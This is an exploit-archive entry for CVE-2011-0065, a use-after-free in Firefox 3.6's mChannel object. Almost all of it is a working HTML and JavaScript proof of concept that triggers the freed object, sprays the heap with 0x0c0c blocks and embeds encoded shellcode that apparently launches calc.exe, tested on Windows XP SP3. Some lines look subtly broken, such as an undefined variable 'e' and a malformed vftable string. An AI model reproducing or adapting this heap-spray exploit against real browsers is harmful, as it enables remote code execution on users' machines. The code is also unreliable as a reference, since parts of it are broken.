Mozilla Firefox 3.6 mChannel Use-After-Free Vulnerability

2014-11-2600:00:00

Juan Sacco

0day.today

0.969 High

EPSS

Percentile

99.7%

JSON

Mozilla Firefox 3.6 is prone to a use-after-free vulnerability in OBJECT mChannel that allows an attacker to execute arbitrary code.

<!--
Exploit Author: Juan Sacco
Name: Mozilla Firefox 3.6 mChannel ( Universal )
Description: Mozilla Firefox 3.6 is prone to an use-after-free
vulnerability in OBJECT mChannel that allows an attacker to execute
arbitrary code.
Tested on Windows XP SP3
CVE: 2011-0065
-->
<html>
<head>
</head>
<body>
<pre>
# Title: Firefox 3.6 ( Universal )
</pre>
<object id="exploit" ></object>
<script>
function exploit()    {
    var foo=document.getElementById("exploit");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
Object,0);
    var vftable = unescape("\x00% u0c10");
    var shellcode =
unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc");
    var vtable = unescape("%u0c0c%u0c0c");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock =
shellcode+vtable.substring(0,0x10000/2-shellcode.length*2);
        while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;}
    var finalspray = heapblock.substring(0,0x80000 - shellcode.length -
0x24/2 - 0x4/2 - 0x2/2);

    var heapspray = new Array()
        for (var i=0;i<0x100;i++){
            heapspray[i] = finalspray+shellcode;
        }
    foo.data="";}
</script>
<input type=button value="Exploit" onclick="exploit()" />
</body>
</html>

#  0day.today [2018-01-04]  #